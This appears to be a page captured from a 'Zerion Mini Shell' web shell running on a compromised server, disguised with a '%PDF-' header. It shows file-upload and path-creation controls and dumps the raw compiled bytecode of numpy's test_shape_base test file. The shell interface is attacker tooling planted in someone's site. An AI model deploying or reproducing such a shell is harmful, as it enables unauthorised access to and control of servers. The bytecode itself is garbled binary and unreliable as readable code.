%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyo

�
�9Zc@`s�ddlmZmZmZddlZddlmZmZm	Z	m
Z
mZmZm
Z
mZmZmZddlmZmZmZmZmZmZmZdefd��YZdefd��YZd	efd
��YZdefd��YZd
efd��YZdefd��YZdefd��YZdefd��YZ defd��YZ!defd��YZ"defd��YZ#defd��YZ$d�Z%e&dkr�e�ndS(i(tdivisiontabsolute_importtprint_functionN(
tapply_along_axistapply_over_axestarray_splittsplitthsplittdsplittvsplittdstacktkronttile(trun_module_suitetTestCasetassert_tassert_equaltassert_array_equalt
assert_raisestassert_warnstTestApplyAlongAxiscB`s&eZd�Zdd�Zd�ZRS(cC`sItjdd�}tttd|�t|�tj|jd��dS(Nii
tdii(ii
(tnptonesRRtlentshape(tselfta((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_simplesicC`sItjdd�}tttd|�t|�tj|jd��dS(Ni
ieRii(i
ie(RRRRRR(RtlevelR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_simple101scC`s\tjd�jd�}tttjd|�dddgdddgd	d
dgg�dS(
Niiiii!i$i'i*i-i0i3(iii(RtarangetreshapeRRtsum(RR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_3ds(t__name__t
__module__RRR"(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRs	tTestApplyOverAxescB`seZd�ZRS(cC`shtjd�jddd�}ttj|ddg�}t|tjdgdgdggg��dS(	Niiiiii<i\i|(RRR RR!Rtarray(RRtaoa_a((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyR s(R#R$R(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyR%stTestArraySplitcB`sPeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(cC`s&tjd�}ttt|d�dS(Ni
i(RRRt
ValueErrorR(RR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_integer_0_split'scC`sCtjd�}t|d�}tjd�g}t||�t|d�}tjd�tjdd�g}t||�t|d�}tjd�tjdd�tjdd�g}t||�t|d�}tjd�tjdd�tjdd	�tjd	d�g}t||�t|d�}tjd�tjdd�tjdd�tjdd	�tjd	d�g}t||�t|d�}tjd�tjdd�tjdd�tjdd	�tjd	d
�tjd
d�g}t||�t|d�}tjd�tjdd�tjdd�tjdd�tjdd	�tjd	d
�tjd
d�g}t||�t|d	�}tjd�tjdd�tjdd�tjdd�tjdd�tjdd	�tjd	d
�tjd
d�g}t||�t|d
�}tjd�tjdd�tjdd�tjdd�tjdd�tjdd�tjdd	�tjd	d
�tjd
d�g	}t||�t|d�}tjd�tjdd�tjdd�tjdd�tjdd�tjdd�tjdd�tjdd	�tjd	d
�tjd
d�g
}t||�t|d�}tjd�tjdd�tjdd�tjdd�tjdd�tjdd�tjdd�tjdd	�tjd	d
�tjd
d�tjg�g}t||�dS(Ni
iiiiiiiii	i(RRRtcompare_resultsR&(RRtrestdesired((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_integer_split+sb
!
0
*
*$
*3
*-
*-$
*-3
*--
*--!cC`s<tjtjd�tjd�g�}t|ddd�}tjtjd�g�tjtjd�g�tjd�g}t||�t|jj|djjk�t|dddgdd�}tjd	�tjtjd�g�tjtjd�g�g}t||�t|jj|djjk�dS(
Ni
itaxisii����ii(ii
(ii
(	RR&RRtzerosR+Rtdtypettype(RRR,ttgt((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_integer_split_2D_rowshs'0
 $
cC`s�tjtjd�tjd�g�}t|ddd�}tjtjd�tjd�g�tjtjdd�tjdd�g�tjtjdd�tjdd�g�g}t||�dS(Ni
iR/i����ii(RR&RRR+(RRR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_integer_split_2D_colsws'$*0cC`s�tjtjd�tjd�g�}t|d�}tjtjd�g�tjtjd�g�tjd�g}t||�t|jj|djjk�dS(s2 This will fail if we change default axis
        i
iii����N(ii
(	RR&RRR0R+RR1R2(RRR,R3((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_integer_split_2D_defaults'0
cC`s�tjd�}dddg}t||dd�}tjdd�tjdd�tjdd�tjdd�g}t||�dS(Ni
iiiR/i����i(RRRR+(RRtindicesR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_index_split_simple�s-cC`s�tjd�}dddg}t||dd�}tjg�tjdd�tjdd�tjdd�g}t||�dS(Ni
iiiR/i����(RRRR&R+(RRR7R,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_index_split_low_bound�s*cC`s�tjd�}dddddg}t||dd�}tjg�tjdd�tjdd�tjdd�tjg�tjg�g}t||�dS(Ni
iiiiR/i����(RRRR&R+(RRR7R,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_index_split_high_bound�s*-(
R#R$R*R.R4R5R6R8R9R:(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyR(&s		=					t	TestSplitcB`seZd�Zd�ZRS(cC`sPtjd�}t|d�}tjd�tjdd�g}t||�dS(Ni
ii(RRRR+(RRR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_equal_split�s!cC`s&tjd�}ttt|d�dS(Ni
i(RRRR)R(RR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_unequal_split�s(R#R$R<R=(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyR;�s	t
TestDstackcB`s,eZd�Zd�Zd�Zd�ZRS(cC`s\tjd�}tjd�}t||g�}tjddggg�}t||�dS(Nii(RR&R
R(RRtbR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt
test_0D_array�s
cC`sbtjdg�}tjdg�}t||g�}tjddggg�}t||�dS(Nii(RR&R
R(RRR?R,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt
test_1D_array�s
cC`s�tjdgdgg�}tjdgdgg�}t||g�}tjddggddggg�}t||�dS(Nii(RR&R
R(RRR?R,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt
test_2D_array�s
'cC`sqtjddg�}tjddg�}t||g�}tjddgddggg�}t||�dS(Nii(RR&R
R(RRR?R,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_2D_array2�s
$(R#R$R@RARBRC(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyR>�s			t
TestHsplitcB`s)eZdZd�Zd�Zd�ZRS(s&Only testing for integer splits.

    cC`sBtjd�}yt|d�td�Wntk
r=nXdS(Niii(RR&RRR)(RR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyR@�s

cC`setjddddg�}t|d�}tjddg�tjddg�g}t||�dS(Niiii(RR&RR+(RRR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRA�s*cC`s�tjddddgddddgg�}t|d�}tjddgddgg�tjddgddgg�g}t||�dS(Niiii(RR&RR+(RRR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRB�s
B(R#R$t__doc__R@RARB(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRD�s		t
TestVsplitcB`s eZdZd�Zd�ZRS(s&Only testing for integer splits.

    cC`sNtjddddg�}yt|d�td�Wntk
rInXdS(Niiiii(RR&R	RR)(RR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRA�s

cC`s�tjddddgddddgg�}t|d�}tjddddgg�tjddddgg�g}t||�dS(Niiii(RR&R	R+(RRR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRB�s
<(R#R$RERARB(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRF�s	t
TestDsplitcB`seZd�Zd�ZRS(cC`s`tjddddgddddgg�}yt|d�td�Wntk
r[nXdS(Niiiii(RR&RRR)(RR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRBs

cC`s�tjddddgddddggddddgddddggg�}t|d�}tjddgddggddgddggg�tjddgddggddgddggg�g}t||�dS(Niiii(RR&RR+(RRR,R-((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt
test_3D_array
s6<(R#R$RBRH(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRGs		tTestSqueezecB`seZd�ZRS(cC`sddlm}|ddddd�}|ddddd�}|dddd�}ttj|�tj|d��ttj|�tj|d��ttj|�tj|d	��dggg}tj|�}t|d�t|jd�tt|�tj	�dS(
Ni(trandii
ig�?(ii
i
(ii
i(ii
(
tnumpy.randomRJRRtsqueezeR RtndimR2tndarray(RRJRR?tcR,((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt
test_basics"""
(R#R$RP(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRIstTestKroncB`seZd�ZRS(cC`sNtjddg�}tj|�}ttt||��tj�ttt||��tj�ttt||��tj�ttt||��tj�dtjfd��Y}||j|j	|j
�}ttt||��tj�ttt||��|�ttt||��tj�ttt||��|�dS(NitmyarraycB`seZdZRS(g(R#R$t__array_priority__(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRR4s(RRtasmatrixRR2RRNtmatrixRR1tdata(RRtmRRtma((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_return_type,s(R#R$RY(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRQ+stTestTilecB`s,eZd�Zd�Zd�Zd�ZRS(c	C`s�tjdddg�}ddgddgg}tt|d�ddddddg�tt|d�ddddddgddddddgg�tt|d�ddddddgg�tt|d�ddddgddddgg�tt|d�ddgddgddgddgg�tt|d	�ddddgddddgddddgddddgg�dS(
Niiiii(ii(ii(ii(ii(RR&RR(RRR?((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRP?s(@+4:-cC`sBtjd�}t|d�}|d7}t|tjd��dS(Niii(RRRR(RRR?((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt(test_tile_one_repetition_on_array_gh4679Js
cC`sltjggg�}tjggg�}t|d�j}t|d�j}t|d�t|d�dS(Niiii(iii(ii(iii(RR&RRR(RRR?ROR((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt
test_emptyPs
c
C`s�ddlm}d	d
ddd
dg}ddddddg}xt|D]l}|ddd|�}xN|D]F}tj||j�}t||�}t||�}	t||	�qiWqGWdS(Ni(trandintiiiii
tsize(i(ii(ii(ii(iii(ii(i(ii(iii(iii(iiii(ii(RKR]RRR1RRR(
RR]trepsRtsR?trRtlargetklarge((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyttest_kroncompareXs

(R#R$RPR[R\Rd(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRZ>s			tTestMayShareMemorycB`seZd�ZRS(cC`sitjd�}tjd	�}|jtj||��|jtj||ddd���|jtj||ddd���|jtj||dd�ddd�f��|jtj|ddd�|��|jtj|ddd�|��|jtj|dd�ddd�f|��|jtj|dd�ddd�f|��dS(
Ni2i<iii����ii(i2i<(ii<i(RRt
assertTruetmay_share_memorytassertFalse(RRtd2((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRPgs&&2&&2(R#R$RP(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyRefscC`s6x/tt|��D]}t||||�qWdS(N(trangeRR(R,R-ti((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyR+vst__main__('t
__future__RRRtnumpyRtnumpy.lib.shape_baseRRRRRRR	R
RRt
numpy.testingR
RRRRRRRR%R(R;R>RDRFRGRIRQRZReR+R#(((sR/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_shape_base.pyt<module>s$F4} (	

Zerion Mini Shell 1.0